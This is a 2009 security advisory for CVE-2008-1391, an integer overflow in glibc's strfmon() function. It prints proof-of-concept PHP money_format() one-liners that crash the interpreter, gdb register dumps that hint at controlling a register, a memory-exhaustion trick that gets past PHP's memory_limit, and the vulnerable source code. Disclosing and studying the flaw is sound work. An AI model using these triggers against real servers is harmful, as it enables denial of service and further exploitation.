glibc x<=2.10.1 stdio/strfmon.c Multiple vulnerabilities

Published
Credit
Risk
2009.09.19
Maksymilian Arciemowicz
High
CWE
CVE
Local
Remote
CWE-189
CVE-2008-1391
Yes
No

CVSS Base Score
Impact Subscore
Exploitability Subscore
7.5/10
6.4/10
10/10
Exploit range
Attack complexity
Authentication
Remote
Low
No required
Confidentiality impact
Integrity impact
Availability impact
Partial
Partial
Partial

[ glibc x<=2.10.1 stdio/strfmon.c Multiple vulnerabilities ]

Author: Maksymilian Arciemowicz
Date:
- - Dis.: 10.03.2008
- - Pub.: 17.09.2009

CVE: CVE-2008-1391
Risk: High

Affected Software (tested 27.08.2009):
- - Fedora 11
- - Slackware 12.2
- - Ubuntu 9.04
- - others linux distributions

- --- 0.Description ---
strfmon -- convert monetary value to string

The strfmon() function places characters into the array pointed to by s as controlled by the string pointed to by format. No more than maxsize bytes are placed into the array.

The format string is composed of zero or more directives: ordinary characters (not %), which are copied unchanged to the output stream; and conversion specifications, each of which results in fetching zero or more subsequent arguments. Each conversion specification is introduced by the % character.

SYNOPSIS:

#include <monetary.h>

ssize_t
strfmon(char * restrict s, size_t maxsize, const char * restrict format,
...);

- --- 1. glibc x<=2.10.1 stdio/strfmon.c Multiple vulnerabilities ---
In March 2008, our team has published a security note (SREASONRES:20080325) about vulnerabilities in strfmon(3) function. Issue has been officially diagnosed in NetBSD, FreeBSD and MacOSX. However, from the source code we can see that glibc is also vulnerable. We have informed glibc team. However, the description of the issue and fix was not enough for gnu team. They has changed status for BOGUS and response was:

- ---
And what exactly does an BSD implementation has to do with glibc?
- ---

Today we now, only NetBSD is secure for this. And all systems uses glibc are affected. Despite the differences in the code NetBSD libc and glibc, issue is the same but the exploit differs from that presented in (SREASONRES:20080325).

Description of the vulnerabalitie:
http://xorl.wordpress.com/2009/04/11/cve-2008-1391-netbsd-strfmon-integer-overflow/

Description of the fix:
ftp://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2008-006.txt.asc

To present this issue in Fedora 11, we will use php client. money_format() use strfmon(3) function so this program will be perfect.

[cx@localhost ~]$ php -r 'money_format("%.1073741821i",1);'
Segmentation fault

for 'money_format("%.1073741821i",1);' we will get

Program received signal SIGSEGV, Segmentation fault.
0x0019331a in __printf_fp () from /lib/libc.so.6

(gdb) bt
#0 0x0019331a in __printf_fp () from /lib/libc.so.6
#1 0x0018832b in __vstrfmon_l () from /lib/libc.so.6
#2 0x00187a36 in strfmon () from /lib/libc.so.6

strfmon() will call to __printf_fp() with overflowed arg. In result

(gdb) x/20s ($esi)-10
0x8448ff6: ""
0x8448ff7: ""
0x8448ff8: "0"
0x8448ffa: ""
0x8448ffb: ""
0x8448ffc: "0"
0x8448ffe: ""
0x8448fff: ""
0x8449000: <Address 0x8449000 out of bounds>
0x8449000: <Address 0x8449000 out of bounds>
0x8449000: <Address 0x8449000 out of bounds>
...
(gdb) i r
eax 0x30 48
ecx 0x0 0
edx 0x0 0
ebx 0x2bdff4 2875380
esp 0xbfffec14 0xbfffec14
ebp 0xbfffed78 0xbfffed78
esi 0x8449000 138711040
edi 0x810c 33036
eip 0x19331a 0x19331a <__printf_fp+3274>

Now let's see what will hapen for 'money_format("%.1073741822i",1);'

Program received signal SIGSEGV, Segmentation fault.
0x0034b27b in hack_digit.12295 () from /lib/libc.so.6

php will crash in hack_digit().

(gdb) i r
eax 0x3ffffffe 1073741822
ecx 0x32 50
edx 0x2 2
ebx 0x476ff4 4681716
esp 0xbfffebc4 0xbfffebc4
ebp 0xbfffebf4 0xbfffebf4
esi 0x32 50
edi 0x3e 62

we can try change edi register.

For 'money_format("%.1073741824i",1);'
(gdb) i r
eax 0x40000000 1073741824
ecx 0x32 50
edx 0x2 2
ebx 0x35bff4 3522548
esp 0xbfffebbc 0xbfffebbc
ebp 0xbfffebec 0xbfffebec
esi 0x32 50
edi 0x42 66


But let's see what will hapen for 'money_format("%.77715949976712904702i", 1.1);'

crash in
Program received signal SIGSEGV, Segmentation fault.
0x00e4327b in hack_digit.12295 () from /lib/libc.so.6
(gdb) i r
eax 0x3ffffffe 1073741822
ecx 0x34 52
edx 0x2 2
ebx 0xf6eff4 16183284
esp 0xbfffebb4 0xbfffebb4
ebp 0xbfffebe4 0xbfffebe4
esi 0x34 52
edi 0x3e 62

esi 52.

Interesting is that the PHP memory_limit has no control over what will happens in the level of the libc. Function strfmon(3) can allocate a lot of data in memory without control by PHP memory_limit.

For example:
php -r 'money_format("%.1343741821i",1);'

will allocate ~1049MB real memory.
memory_limit can be less that 1049M

Strange is the fact that nobody checked the code of glibc. The algorithm used in BSD libc and glibc is very similar. Funy.

Let's see libc/stdlib/strfmon_l.c (glibc rev-1.5.2.4)
- ---
if (isdigit (*fmt))
{
/* Parse field width. */
width = to_digit (*fmt);

while (isdigit (*++fmt))
{
int val = to_digit (*fmt);

if (width > LONG_MAX / 10
|| (width == LONG_MAX && val > LONG_MAX % 10))
{
__set_errno (E2BIG);
return -1;
}

width = width * 10 + val;
}

/* If we don't have enough room for the demanded width we
can stop now and return an error. */
if (width >= maxsize - (dest - s))
{
__set_errno (E2BIG);
return -1;
}
}
- ---

Perfect. The above code protects us. Very funy is this comment

/* If we don't have enough room for the demanded width we
can stop now and return an error. */

But what is below, is a mistake already
- ---
/* Recognize left precision. */
if (*fmt == '#')
{
if (!isdigit (*++fmt))
{
__set_errno (EINVAL);
return -1;
}
left_prec = to_digit (*fmt);

while (isdigit (*++fmt))
{
left_prec *= 10;
left_prec += to_digit (*fmt);
}
}

/* Recognize right precision. */
if (*fmt == '.')
{
if (!isdigit (*++fmt))
{
__set_errno (EINVAL);
return -1;
}
right_prec = to_digit (*fmt);

while (isdigit (*++fmt))
{
right_prec *= 10;
right_prec += to_digit (*fmt);
}
}
- ---

To overflow the left_prec, we need only give # ( if (*fmt == '#') ) before digits.

So, any uses like
- ---
info.prec = right_prec;
info.width = left_prec + (right_prec ? (right_prec + 1) : 0);
info.spec = 'f';
info.is_long_double = is_long_double;
info.group = group;
info.pad = pad;
info.extra = 1; /* This means use values from LC_MONETARY. */

ptr = &fpnum;
done = __printf_fp (&f._sbf._f, &info, &ptr);
- ---

are vulnerable.

- --- 2. Contact ---
Author: Maksymilian Arciemowicz

References:

http://xorl.wordpress.com/2009/04/11/cve-2008-1391-netbsd-strfmon-integer-overflow/
ftp://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2008-006.txt.asc


See this note in RAW Version

 
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